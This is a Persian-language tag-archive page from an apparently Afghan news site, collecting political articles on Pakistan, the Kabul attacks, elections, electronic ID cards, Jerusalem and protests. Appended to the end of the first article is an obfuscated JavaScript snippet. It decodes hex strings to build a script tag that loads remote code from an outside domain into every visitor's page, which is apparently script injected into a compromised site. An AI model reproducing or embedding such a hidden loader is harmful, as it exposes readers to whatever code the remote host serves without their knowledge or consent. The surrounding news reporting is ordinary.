خانه «=« آرشیو برچسب: مردم

آرشیو برچسب: مردم

آمریکا با پولی که می دهد خون مردم را می ریزد

حمله های اخیر هراس افکنانه در کابل پای مقام های بلندپایه امنیتی را به اسلام آباد کشانید. وزیر داخله و رییس عمومی امنیت ملی سندهایی را با خودشان به پاکستان بردند که نشان می دهند این حمله ها از پاکستان سازمان دهی شده اند. هرچند برخی از کارشناسان انتقاد می کنند که به جای رفتن به پاکستان این سندها به شورای امنیت سازمان ملل متحد سپرده می شود اما وزیر داخله می گوید که اگر پاکستان در این زمینه کاری نکند حکومت افغانستان باید به شورای امنیت سازمان ملل متحد شکایت خواهد کرد. پاکستان در برابر این مدارک و شواهد چگونه واکنشی نشان خواهد داد؟

غلام محمد محمدی، نویسنده و استاد دانشگاه در برنامه «فراخبر» گفت: مشکل افغانستان با این رفت و آمد ها و با این اسناد حل نمی شود و با این کارها پاکستان اعتراف نمی کند که این تروریست ها را ما فرستاده ایم. این دو کشور هفتاد سال است که اختلاف دارند و اختلاف شان بسیار عمیق است. یعنی باید اینطور تصور کنیم که این ساختمان خراب است. یعنی باید از دوباره خراب شود و دوباره درست شود و رهبران حکومت ما می خواهند این ساختمان را رنگ کنند. باید گفت که با این رفت و آمدها مشکلات میان این دو کشور حل نخواهد شد.

وی، در ارتباط با علت نیامدن صلح در افغانستان می گوید: مشکل ما این است که ما همیشه دولت های مردمی و ملی مقتدر نداشتیم. فقط دولت های ملی می توانند مقتدر باشند. به این سبب اگر طرف های جنگ مستقل باشند کار صلح آسان می شود. اگر طرف های جنگ مستقل نباشند کلید جنگ به دست خارجی ها می باشد. به این سبب دولت افغانستان هم کلید جنگ به دستش نیست، کلید صلح هم به دستش نیست و هم طرف مقابلش که تروریستان می باشد کلید آنها هم به دست خارجی ها می باشد. به همین سبب آمدن صلح در افغانستان کار بسیار دشواری است.

محمدی، در ارتباط با با ارتباط هند و پاکستان در قضایای افغانستان می گوید: هند افغانستان و پاکستان سه کشوری هستند که یک مثلث شوم را تشکیل داده اند. هر گاه دولت افغانستان نیم قدم به طرف هندوستان بردارد پاکستان دو قدم برای مداخله در امور داخلی افغانستان قدم می گذارد به این سبب دولت افغانستان همیشه متکی به کشورهای خارجی بوده خصوصا در قضیه پاکستان و هند. وقتی با هند نزدیک شده و اعصاب پاکستانی ها را خراب می سازد. این مساله بسیار مهم است. دولت افغانستان یک سیاست ملی و مستقل نمی تواند بگیرد. مثلا دولت هندوستان مرزش را ششصد و چهل کیلومتر از دریای چناق تا راجستان سیم خاردار گرفته و سیم خاردار دو جداره به برق وصل اما هفتاد سال است از دولت افغانستان حمایت می کند تا مرز دیورند بسته باشد. در کشور ما تا هنوز اراده برای صلح وجود ندار چرا که دو طرف جنگ مستقل نیستند.

این استاد دانشگاه، در خصوص نتیجه ارایه مدارک به پاکستان می گوید: سفرهای زیادی به پاکستان صورت گرفته است فقط کرزی بیست به بار به پاکستان سفر کرده بود. در گذشته ها هم اسناد و مدارک را دولت های افغانستان و پاکستان ارایه کردند. سال ۹۳ و ۹۴ یک سری جنجال ها ارایه شد. این اسناد را پاکستان به هیچ وجه قبول نمی کند. اگر خیلی سطحی فکر کنیم که پاکستان این اسناد را بپذیرد به این معنی خواهد بود که پاکستان عامل این کشت و کشتارها در افغانستان است که پاکستان به هیچ وجه چنین چیزی را نمی پذیرد و می گوید طالبان و تروریستان در داخل خاک خود افغانستان است و همانطور که در گذشته می گفتند حالا هم می گویند که تقصیری نداریم.

محمدی، در ارتباط با آمریکا و اراده صلح آن می گوید: متاسفانه موضع آمریکایی ها هم در قبال طالبان و تروریست ثابت نیست. سال قبل می گفتند که طالبان دشمن ما محسوب نمی شوند. حالا می گویند که طالبان را می زنند و آنها را محو و نابود می کنند. مساله مرز دیورند مساله مهم بین افغانستان و پاکستان است و نظر من این است که آمریکا با همین پولی که به افغانستان می دهد با همین میلیاردها پولی که مصرف کرده است خون مردم را می ریزد. به این ترتیب که این پول ها را برای ریختن خون مردم صرف می کند. var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

شرایط تازه نور برای کنار رفتن از ولایت بلخ

عطامحمد نور شرایط تازه ای را برای کنار رفتن از ولایت بلخ به حکومت پیشنهاد کرد.
وی که عصر امروز در جلسه حمایت جوانان بلخ شرکت کرده بود گفت: والی بلخ را حزب جمعیت انتخاب می کند و اجازه وارد شدن کس دیگری را بعنوان والی به بلخ نمی دهیم.

وی افزود: والی و فرمانده پولیس بلخ را نیز جمعیت معرفی می کند و حکومت با تفاهمی که با شورای رهبری جمعیت می کند، برای من قابل قبول است؛ حتی اگر بگویند که فردا از ولایت بلخ کنار بروم.

نور حکومت را به ادامه گفتگوها با جمعیت اسلامی فرا می خواند و همزمان هشدار می دهد که هرگزینه یی دیگر به غیر از گفتگو، کشور را به بحران خواهد کشاند.

رئیس اجرایی: مساله توزیع تذکره‌ الکترونیکی نباید باعث تفرقه میان مردم شود

عبدالله امروز(دوشنبه) در نشست شورای وزیران گفت که مساله توزیع تذکره‌های الکترونیکی نباید باعث تفرقه میان مردم شود.

رئیس اجرایی خاطر نشان ساخت که وی طرفدار گفتگوی ملی در این زمینه است تا رضایت و توافق تمام شهروندان افغانستان در بحث چگونگی توزیع تذکره های الکترونیکی و هویت ملی به دست آید.

وی در اخیر تاکید کرد که نیاز به تذکره‌های الکترونیکی و با اعتبار برای همه هویدا است و این مساله نیز مشخص است که از تذکره‌های کاغذی سو‌ء استفاده‌های صورت گرفته است. اما به گفته وی این موضوع به تمام مردم افغانستان تعلق دارد و نباید بخشی از جامعه خود را از این روند بیرون و جدا احساس کند.

گفتنی است که قانون ثبت احوال نفوس دو هفته پیش از سوی کمیته مختلط دو مجلس شورای ملی تایید شد. این قانون در حالی تایید شد که ۴ عضو هیات ولسی جرگه در این کمیته شرکت نداشتند.

براساس این تصمیم، قومیت، ملت و دین در تذکره های الکترونیکی درج خواهند شد.

مسلمانان نمی گذارند بیت المقدس پایتخت اسراییل شود

شماری از رهبران جهادی کشور موضع گیری خود را در واکنش به اوضاع جاری در کشور بیان کردند.
گفتنی است که در مراسمی جداگانه عبدالرب رسول سیاف، رهبر جهادی نیز در خصوص مسایلی همچون انتخابات، گسترش فساد در ادارات کشور و نیز مساله به رسمیت شناخته شدن بیت المقدس بعنوان پایتخت اسراییل موضع گیری خود را بیان کردند.

صبغت الله مجددی رییس جمهور پیشین و رهبر جهادی، امروز پنجشنبه ۱۶ قوس ۱۳۹۶ در یک نشست خبری می گوید: آمریکا حق نداشت که بیت المقدس را پایتخت اسراییل کند. ما این را شدیدا رد می کنیم و این را تجاوز بی موجب بر سر عنعنات و بر سر عقیده و عقاید مسلمان ها می دانیم. آمریکا حاکم عالم اسلام نیست. آمریکا حاکم عالم بشریت نیست. این تجاوز آمریکا و این بی پروایی اینها که می خواهند بیت المقدس را مرکز حکومت اسراییل بگردانند از قدرت آنها بیرون است.

وی افزود: آمریکا این را بداند که مسلمان ها اینقدر بی غیرت نیستند. مسلمانان توانستند که در برابر ابرقدرت اتحاد شوروی اعلان جهاد کنند و پیروز شوند. حالا هم مسلمان ها اجازه نمی دهند که بیت المقدس پایتخت اسراییل شود.

مجددی گفت: حکومت، مردم و ملت افغانستان به اتفاق آرا رد می کنند که بیت المقدس هیچگاه نمی تواند پایتخت اسراییل شود. ما مسلمان ها تا قطره آخر خون خود برای این موضوع ایستاد هستیم.

مجددی بیان کرد: حکومت و جریان های سیاسی با یکدیگر تفاهم ندارند و این حالت حمایت خارجی به تکیه گاه حکومت تبدیل شده است و از سوی دیگر دشمنان نیز با راه اندازی عملیات انتحاری در مساجد و حمله به تجمعات به اختلافات دامن می زنند و ملت و دولت را تضعیف می کنند.

رییس جمهور سابق کشور، فقر و بیکاری را در کنار مساله بازگشت کنندگان و بیجاشدگان داخلی در فصل سرما نگران کننده خواند و اظهار کرد: این مساله و در کنار آن روشن نبودن چشم اندازی از انتخابات پارلمانی و روشن نبودن هیچ نشانه امیدوار کننده از آمادگی کمیسیون انتخابات برای برگزاری آن نه تنها به مشروعیت نظام صدمه می زند که حکومت را نیز بشدت ضعیف می کند.

رهبر شورای احزاب با ابراز نگرانی از اوضاع جاری در کشور اظهار کرد: از نظر شورای احزاب، وحدت ملی اصل اساسی است که همه باید به آن التزام صادقانه داشته باشند و از حکومت و جریان های سیاسی می خواهیم که در موضع گیری هایشان منافع و وحدت ملی را فراموش نکنند.

وی خطاب به حکومت نیز بیان کرده است که حکومت باید با جریان های سیاسی از در تفاهم وارد شده و آنان را در مسایل بزرگ ملی شریک کند چراکه تضعیف احزاب و جریان ها به نفع ملت و کشور نیست.

مجددی در واکنش به قانون شکنی و اقدامات فراقانونی حکومت گفت: اجرا و عمل به قانون از وظایف اساسی حکومت است که متاسفانه با ازدیاد نقض قوانین نافذه کشور حکومت روز به روز اعتبار خود را از دست می دهد؛ از حکومت می خواهیم که اجراییات خود را مطابق قوانین نافذه کشور کند و جریان های سیاسی نیز قوانین را سرلوحه کار خود قرار دهند.

رییس جمهور سابق، ضمن هشدار از صدمه زدن به اعتماد عمومی در دخالت حکومت در امورات کمیسیون انتخابات گفت: عزل و نصب کمیشنران کمیسیون انتخابات باید بر اساس قانون صورت بگیرد و هرگونه اقدام فراقانونی حکومت نسبت به کمیسیون انتخابات اعتماد عمومی به جریان انتخابات را صدمه می ز ند.

وی بدون اشاره مستقیم به نشست سیاسیون مخالف حکومت در قندهار نیز اظهار کرد: دیدگاه های و مواضع سیاسی همه جرایان های سیاسی قابل احترام است و هر جیان می تواند موقف خود را اعلام کند اما برای رسیدن به راه حل قابل قبول ضرورت است که جریان ها با یکدیگر گفتگو کنند و نسبت به مسایل عمده ملی از موضع گیری های تشنج زا و پراکنده که نتیجه ای جز نگرانی مردم ندارد، دوری کنند.

مجددی افزود: همه جریان های سیاسی شایسته است که با یکدیگر وارد گفتگو شوند و به راه حل های سیاسی قابل قبول همه دست یابند و شورای احزاب آمادگی دارد که از این گفتگوها میزبانی کند.

مقام ارشد پیشین کشور بار دیگر از حکومت و کمیسیون انتخابات خواست تا برگزاری انتخابات پارلمانی سال ۱۳۹۷ را جدی بگیرند و هشدار داد که عدم برگزاری آن موجب تضعیف مشروعیت نظام خواهد شد.

وی خبر داد: برای ایجاد شفافیت در انتخابات و نیز جلب اعتماد عمومی تقویت نظارت احزاب بر روند انتخابات امری ضروری است و در این خصوص شورای احزاب طرحی را آماده کرده که آن را در اختیار کمیسیون انتخابات خواهد گذاشت و با رسانه ها نیز شریک خوهد کرد.

حکومت، مکتبی است که معاون ندارد

نشست اپوزیسیون سیاسی حکومت در قندهار برگزار شد.
در این نشست تعدادی از سران سیاسی و نماینده های پارلمان کشور شرکت کردند.

از جانب حکومت آن تعهداتی که به مردم افغانستان داده است همه فراموش شده و برعکس در حال مهندسی کردن انتخابات هستند تا با تقلب و نادیده گرفتن اراده و رای مردم یکبار دیگر به قدرت برسند

بشیر احمد ته ینج عضو هیات رهبری جنبش ملی افغانستان، امروز ۱۱ قوس در این مراسم گفت: ابتدا سلام ها و احترامات معاون اول رییس جمهور، جنرال دوستم و والی بلخ عطا نور و محمد محقق معاون رییس اجرایی و صلاح الدین ربانی وزیر خارجه را که در قالب ایتلاف بزرگ ملی نجات هستند به تمام شما قندهاری تقدیم می کنم.

وی در خصوص اواضاع افغانستان می گوید: در حال حاضر خانه ما ویران شده است و حکومت ما مشکل دارد، جامعه ما مشکل دارد، مردم ما مشکل دارد. پس راه حل چیست. سرنوشت مشترک داریم، سرزمین مشترک داریم، دین مشترک داریم، مذهب و مدرسه و مسجد مشترک داریم، خدا و رسول مشترک داریم، درد و رنج مشترک داریم. چرا نیت و هدف مشترک نداشته باشیم؟

نماینده جنرال دوستم، بر همدلی و همراهی افراد در این نشست تاکید می کند و بیان می دارد: امروز یکی از ما از شمال افغانستان، یکی از مرکز افغانستان، یکی از جنوب افغانستان آمده است. ما می خواهیم این وجه مشترک را این پیوند را، این اخوت را، این برادری را همانطوری که خداوند گفته است، مسلمانان همه برادر هستند به وجود بیاوریم.درست است که یکی ازبک است و یکی ترک است و یکی پشتون و تاجیک و هزاره است. شما بزرگان پشتون و تاجیک و هزاره هستید. می دانیم که رهبری که از همین قندهار بود جنبش مشروطیت را رهبری کرد و تاریخ هرگز آن را فراموش نخواهد کرد. 

ته ینج، ادامه داد: ما به عنوان یکی از جریان های سیاسی افغانستان با شما هستیم، حمایت هم می کنیم و این نشست های ما در شمال و در شرق و غرب افغانستان ادامه پیدا می کند و منتظر تشریف آوری شما به مزار و شبرغان و قندوز و بدخشان هستیم.

این عضو حزب جنبش ملی افغانستان، می گوید: ما همیشه پابند اصول و دموکراسی هستیم و خود را مکلف به حمایت بیرق سه رنگ افغانستان می دانیم. از شروع نظام جدید بسیار مختصر می گوییم. قبول کرده ایم که صد ها میل توپ و تانک و تفنگ را در اختیار جنگ افغانستان داده ایم تا در افغانستان ارامش بیاید و از حکومت تازه حمایت کرده ایم و به پروسه های انتخابات اشتراک کرده ایم و برای نظام افغانستان به کرزی رای داده ایم می دانستیم از قندهار است. به داکتر اشرف غنی رای دادیم می دانستیم از لوگر است. اما اشرف غنی به جای اینکه یک استراتژی شفاف و منظم و قابل قبول برای همه طرف ها داشته باشد هیچگونه دستاوردی در این راستا نداشته بلکه ناکام بوده است. 

ته ینج، در انتقاد از رییس جمهور مبنی بر طرد معاون اولش و افراد دیگر بیان داشت: وقتی در یک مکتب چند روز معاون مدیر حضور نداشته باشد، حتما پرسان می کند که معاون کجا است. آیا روا نیست که اشرف غنی که مدیر یک کشور است و معاونش ماه ها است که حضور ندارد در مورد آن صحبت کند که چرا معاون من نیست. هیچ کاری در این حکومت انجام نمی شود. آن تعهداتی که به مردم افغانستان داده است همه فراموش شده اند و برعکس در حال مهندسی کردن انتخابات هستند تا با تقلب و نادیده گرفتن اراده و رای مردم یک بار دیگر به قدرت برسند. افرادی را تعیین و تبدیل می کنند که بله قربان گوی و فرمان بردار حکومت باشند. رییس جمهور به اراده و رای مردم هیچ توجهی نمی کند. 

وی در اخیر گفت: بنابراین برای حل این مشکلات و برای نجات فقط یک راه نجات داریم. اخوت ما، همبستگی ما، اتحاد و همدلی ما می تواند که راه حل خوبی برای آینده افغانستان باشد. بنابراین حمایت شما بزرگان کشور امروز از این جریان و حضور ده هزار نفری شما را در این جریان ما را برای آینده افغانستان امیدوار می سازد. پس باید در مورد سرنوشت خود و آینده و شخصیت های خود بی تفاوت نباشیم. 

آیاانتخابات سال آینده منتفی است

تمام شدن مهلت یکساله کار اعضای داخلی کمیسیون انتخابات و برگزار نشدن این انتخابات بدلیل عدم وجود رییس کمیسیون یکی دیگر از چالش های کمیسیون انتخابات است که به دیگر مشکلات اساسی موجود در این کمیسیون افزوده است؛ از اینرو نهادهای ناظر انتخاباتی با توجه به افشاگری های تقلب گسترده در انتخابات قبلی از مهندسی شدن انتخابات های آینده نیز اظهار نگرانی کردند.

به گزارش شبکه اطلاع رسانی افغانستان(afghanpaper)، نعیم ایوب زاده، رییس اجرایی تیفا صبح امروز دوشنبه ۶ قوس ۹۶ در یک نشست خبری در خصوص فرمان غیرقانونی رییس جمهور مبنی بر آغاز کار دوباره کمیته گزینش گفت: بیشتر از ۱۰ ماه از مدیریت جدید انتخابات می گذرد اما آنچه را که منطق می طلبد و کارهایی اساسی همچون تهیه لیست رای دهندگان، تعیین حوزه های انتخابات، جزییات بودجه انتخاباتی و شیوه برگزاری انتخابات مشخص نیست و هیچ پلان عملیاتی از آغاز تا ختم عملیات آماده نشده است.

ایوب زاده گفت: درست است که کمیسیون انتخابات با نهادهای امنیتی تفاهمنامه تامین امنیت حوزه های انتخاباتی را امضا کرده است اما در عمل ساحه امن و ناامن تشخیص داده نشده و در واقعیت برگزاری انتخابات کاملا ناممکن است.

رییس اجرایی تیفا تصریح کرد: نه تنها در ده ماه گذشته کاری برای پیشبرد امور انتخاباتی صورت نگرفته که چند چالش بزرگ نیز سر راه برگزاری انتخابات ایجاد شده است که همین چالش ها کاملا برگزاری انتخابات در سال آینده را منتفی می کند.

وی، درخصوص نبود اراده سیاسی برای برگزاری انتخابات را چالش مهم و اساسی پیش روی انتخابات آینده خواند و اظهار کرد: این چالش بزرگ تمام تلاش های انتخاباتی را با مشکل مواجه کرده و مانع برگزاری انتخابات در کشور شده است و سوی دیگر مساله، نبود یک آجندای اصلاحی است؛ از زمان تاسیس حکومت وحدت ملی تا کنون نه حکومت و نه کس دیگری یک آجندای عملی اصلاحات انتخاباتی را پیاده یا عملی نکرده است و وقتی این برنامه نباشد رفتن به سمت انتخابات بسیار دشوار خواهد بود.

این آگاه انتخاباتی با بیان اینکه حکومت بحران مدیریتی را در کشور تهداب گذاری کرده است افزود: هیچ اداره ای در کشور به ثمر نمی رسد؛ از کمیسیون انتخابات گرفته تا وزارتخانه ها هر روز افراد تغییر می کنند و بحدی دخالت از آدرس حلقه ریاست جمهوری زیاد است که شورای صلح نیز نمی تواند کار خودش را بکند. هیچ کس صلاحیت خود را ندارد و حلقه ریاست جمهوری به تمام ساختارهای حکومتی غرض غیرقانونی دارند.

ایوب زاده افزود: سلیقه های شخصی باعث غرض و دخالت شده است و به ساختارها اجازه داده نمی شد که مطابق طرزالعمل ها کار خود را پیش ببرند؛ غرض های حکومت در ساختارهای مختلف باعث شده که آنها نتوانند ماموریت های خود را انجام دهند.

رییس اجرایی تیفا با اظهار نگرانی از اوج گرفتن تنش های سیاسی در کشور گفت: وقتی یک گروه از حلقات سیاسی بحث برگزاری مجلس بزرگان (لوی جرگه) را مطرح می کنند بدین معنا است که نقطه ضعف های حکومت بحدی زیاد است که راهی جز اینکه به سمت بدبخت کردن حکومت بروند، باقی نمانده است.
وی ادامه داد: در این شرایط هدف حکومت بجای راه حل یابی، روی همان حلقه تمرکز می کند و بخاطر ضعیف ساختن حلقه سیاسی مساله شهرک عینومینه را مطرح می کند!

رییس اجرایی تیفا، درخصوص برکناری ها در نهادهای انتخاباتی تصریح کرد: حکومت خود دست به نقض قانون خودساخته خود می زند و الا برکناری رییس دارالانشا بر مبنای کدام مساله حقوقی و مبنایی صورت گرفته است؟ وی در ظاهر برکنار شده است اما از لحاظ کتبی چیزی معلوم نیست و این آدم با ناامیدی در وظیفه اش مانده است و کاری هم نمی تواند بکند.

ایوب زاده گفت:جناب رییس جمهور، رییس اجرایی و سرور دانش، رییس کمیسیون انتخابات را انتخاب کردند و معلوم نیست براساس چه منطقی وی را برکنار کرده اند؟ اگر این افراد مشکل داشتند، کار کمیته گزینش درست نبوده است و چرا این کمیته را قبول کردید و اگر دانش انتخاباتی نداشتید چرا افراد ناشایست را انتخاب کردید؟ علت ضعف ها و کم کاری ها در انتخابات افراد نیستند بلکه عدم صداقت و کم کاری حکومت نسبت به پرنسیب انتخابات است.

این آگاه انتخاباتی با اشاره افشاگری رحمت الله نبیل از تقلب در انتخابات گذشته گفت: این حکومت زاییده یک تقلب گسترده بود هاست و وقتی زاییده تقلب باشد، تقلب در آن نهادینه شده است و چه انتظاری از آن می رود؟ رنجی که امروز می بریم از چگونگی تهداب گذاری حکومتی است که بر اساس تقلب به بار آمده است و ادامه این وضعیت به نفع هیچ کس نیست.

وی در خصوص دخالت حکومت در نهادهای انتخاباتی هشدار داد: مردم از انفجارها در گردهمایی ها هیچ ترسی ندارند و اگر قرار باشد وضعیت را ادامه بدهید، مردم نه از طالب، نه از داعش و نه از ستون پنجمی هایی که در حکومت کار می کنند، هراسی ندارند و حاضر هستند باز هم قربانی بدهند اما زندگی را برای آنها در تمام ولایت های افغانستان حرام می سازند.

ایوب زاده افزود: مردم به فغان آمده اند و کاسه صبرشان لبریز شده است، اگر بازی های پوچ سلیقه ای ادامه یابد و به سمت انتخابات نروید مردم زندگی در این کشور را برایتان حرام می سازند. با این بازی های بچگانه به دمکراسی، ارزش های مدنی و سیاسی توهین نکنید و اجازه بدهید که ساختارها و ادارات کار خود را بکنند. حرکات بزرگ مردمی را نادیده نگیرید چراکه اگر کسی میانجیگری نمی کرد شما امروز در این وضعیت قرار نداشتید.

رییس اجرایی تیفا تصریح کرد: اعضای کمیته گزینش موقتی هستند و ماموریت آنها تمام شده و حق ندارند برای یک نفر جلسه بگذارند و او را شناسایی کنند، که اگر انها اینکار را بکنند خیانت کرده اند و در جرم ملی شریک شده اند. برکناری رییس کمیسیون و رییس دارالانشا و رفتن به سمت اینکه یک نفر در کمیته گزینش بررسی شود، اساس قانونی ندارد.

وی افزود: تداوم وضعیت موجود باعث می شود که اصلا انتخاباتی در سال آینده برگزار نشود و براساس یافته های تکنیکی و جو سیاسی حاکم برگزاری انتخابات کاملا ناممکن است مگر اینکه حکومت یک انتخابات مهندسی شده را برگزار کند که دراینصورت به آنها هشدار می دهیم که مردم زندگی در این کشور را بر آنها حرام می سازند.

منابع محلی: حدود ۴۰۰ مغازه در شمال کابل در آتش سوختند

آتش سوزی در پروان
منابع محلی ولسوالی سیاه گرد ولایت پروان در شمال کابل خبر داده که در یک آتش سوزی شدید که عصر دیروز، جمعه ۱۰ سنبله/ شهریور در مرکز این ولسوالی رخ‌داده حدود ۴۰۰ معازه در آتش سوخته‌ است.
به گفته این منابع، قدرت آتش به حدی بوده که واحد آتش نشانی ولایت پروان قادر به مهار آن نشده و آتشنان از کابل، پایتخت به این محل رفته‌اند.
نور آقا سامع، ولسوال سیاه گرد به بی‌بی‌سی گفت که این آتش سوزی خسارات هنگفت مالی به مغازه داران وارد کرده ولی تلفات جانی در پی‌نداشته است.
آقای سامع خسارت ناشی از آتش سوزی را “میلیاردها افغانی” اعلام کرد.
‘بخشی از جنگل‌ها در نورستان آتش گرفته است’
‘دویست مغازه’ در آتش‌سوزی تخار سوختند
تلاش‌ برای بهبود وضعیت نیمه‌جان بیمه در افغانستان
او گفت که از حدود۴۰۰ مغازه‌ای که در این آتش سوزی نابود شده، قالی فروشی، نجاری و مواد غذایی بوده ‌است.
هنوز دلیل این آتش سوزی مشخص نشده اما شاهدان گفته‌اند که آتش سوزی از یک مغازه چوب فروشی آغاز شده است.
مقام‌های محلی می‌گویند در حال بررسی عوامل شروع آتش سوزی و خسارات ناشی از آن هستند.
گفته می‌شود که مقام های محلی به دلیل دریافت کمک‌های بیشتر، این دست آمارها را بیشتر از مقدار واقعی آن اعلام می‌کنند.

حربه حکومت، مردم علیه مردم است

جنبش رستاخیز تغییر، روز دوشنبه ۱۲ سرطان ۹۶، روند دوم اعترض های خود را آغاز کرد و همایش با قطاری از موترها با حمل پرچم جنبش و تصاویر کشته های آن به مدت سه ساعت به طول انجامید.

 احمد سعیدی، آگاه سیاسی در گفتگو با تلویزیون "میترا" درخصوص هراس ارگ از تظاهرات مردمی و مسدود ساختن راه ها گفت: تظاهرات جنبش رستاخیز تغییر در روز دوشنبه ۱۲ سرطان ۹۶، شکل منطقی و حقوقی داشت ولی شاهد بودیم که تمام راه ها برای تردد مردم و عبور مریض ها و افراد ناتوان به شفاخانه ها مسدود شده بود.

سعیدی می گوید: درباره بندش راه ها با یک تن از مسوولین در گارنیزیون کابل تماس گرفتم که این تظاهرات مسالمت آمیز است و مظاهرکنندگان به داخل ارگ یا سپیدار نمی ایند و قصد حمله به وزارت داخله را هم ندارند که این مسوول بسیار صادقانه در پاسخ گفت که ما تشویشی از حمله معترضان به ارگ نداریم و می دانیم که اینها مسلح نیستند و یک جنبش تحصیل یافته هستند اما دستور داریم که عمدا راه ها را مسدود کنیم تا در عبور و مرور مردم مشکل ایجاد شود. مردم به شفاخانه ها نرسند و اذیت شوند.

این آگاه سیاسی درخصوص دلیل بند آمدن راه ها از زبان یکی از مسوولان در گارنیزیون افزود: ارگان های امنیتی در این وضعیت وقتی مردم به انها از بسته بودن مسیر شکایت کردند، باید در پاسخ بگویند که حکومت گناهی ندارد و این مظاهرکنندگان هستند که برای بقیه مردم مشکل ایجاد می کنند. در این وضعیت بالاخره بعد از دو سه تظاهرات دیگر زمینه این پیدا می شود که مردم علیه مظاهرکنندگان بخیزند.

وی بیان می کند: هدف مشکل آفرینی برای مردم است تا مردم در برابر کسانی از خودشان که دست به تظاهرات می زنند بخیزند و این حقیقت سناریویی است که برای اعتراض کنندگان طراحی شده است.

سعیدی، درباره حربه موجود علیه اعتراضات مدنی اظهار می کند: حکومت یکی دو مرتبه علیه معترضان دست به حمله زد و در سطح ملی و بین المللی با مشکلاتی روبرو شده است و حال این سناریو مطرح است که مردم عوام که از حقوق خود آگاهی ندارند، علیه نسل جوانی که بخاطر عدالت مبارزه می کنند، استفاده شود و بالاخره اینطور مساله بیان شود که مردم مظاهرکنندگان را رد می کنند نه حکومت!

این تحلیلگر سیاسی، درباره اعتراضات مردمی در غیاب رییس جمهور، معاون نخست در کشور معتقد است: رییس جمهور چه باشد و چه نباشد وضعیت فرقی نمی کند. چرا که حکومت و اداره آن بدست آمریکایی ها است و تا وقتی که آناان در کشور حضور دارند، نه کودتایی صورت می گیرد و نه تغییر در نظام می آید و غنی و عبدالله هر دو می فهمند که پشت شان به کوه گرم است و کسیکه این حکومت را ساخته است تا هنوز از آنها حمایت می کند.

وی تصریح کرد: سران حکومت نه علاقمند به شنیدن صدای مردم هستند و نه پس از شنیدن به آن اعتنا می کنند و صد ابلاغیه هم که خوانده شود، صدای بانگ به گوش کر گفته شده است.

سعیدی، درباره علت بی اعتنایی عبدالله و غنی به اعتراضات مردمی می گوید: حکومتی صدای مردم را می شوند که باور داشته باشد مردم آنها را تعیین کرده اند و فردا باید به همین مردم مراجعه کنند اما اینها می گویند که ما را کس دیگری آورده است و فردای انتخابات هم اگر دوباره با تقلب به روی کار بیایند، باز هم پشت شان به همان ها گرم است و ضرورتی به شنیدن صدای مردم نیست و اصلا بحث فاصله با مردم برای اینها مطرح نیست.

این آگاه سیاسی می گوید: حکومت با تمام نیرو کار می کند که گناهی که بخاطر راه بندان ایجاد می کند، به گردن جنبش رستاخیز بیاندازد و زمینه سازی کند تا اقوام مختلف سنگ و چوب بردارند و به نسل جوانی که بخاطر حقوق شان به پا خواسته اند، بزنند.

وی افزود: اگر همه ما هم به کوچه و بازار بیاییم تا وقتیکه امریکا و اف بی آی از اینها حمایت می کند، این حکومت باقی است و هر وقت که غربی ها به این نظر برسند که این حکومت خود جزیی از مشکل است، آوردن هر نوع تغییر ممکن است. برای یک ساعت اگر غربی ها از اینها دفاع نکنندف اینها دوام نمی آورند؛ چرا که این حکومت از کس دیگری است و همان کس برای ماندن و رفتن اینها تصمیم می گیرد.

پیامدها و موانع توزیع تذکره الکترونیکی

سرانجام طلسم توزیع تذکره الکترونیکی شکست و فرمان توزیع آن توسط محمداشرف غنی، رییس جمهور، امضا و از آدرس سرور دانش، معاون دوم رییس جمهور، نشر شد. دفتر مطبوعاتی معاون دوم ریاستجمهوری اعلام کرد که اداره مرکزی ثبت احوال نفوس مسوول تطبیق برنامه توزیع تذکره‎های الکترونیکی بوده و وزارتهای امور داخله، مخابرات و مالیه نیز موظف شدهاند تا تجهیزات و بودجه مورد نیاز این اداره را تأمین کنند. قرار است ۹۰ روز پس از صدور این فرمان که در ۲۵ ماه ثور صادر شد، مرحله آزمایشی توزیع تذکره‎های الکترونیکی آغاز شود. براساس این فرمان رییس جمهور، نظارت بر این برنامه ملی به کمیتهای به ریاست معاونت دوم ریاست جمهوری و ریاست اجرایی حکومت وحدت ملی و با عضویت مشاور رییسجمهور و نهادهای ذیربط سپرده شده است. در مرحله آزمایشی ۵۰۰ نفر از کارمندان دولت تذکره‎ می‎گیرند.
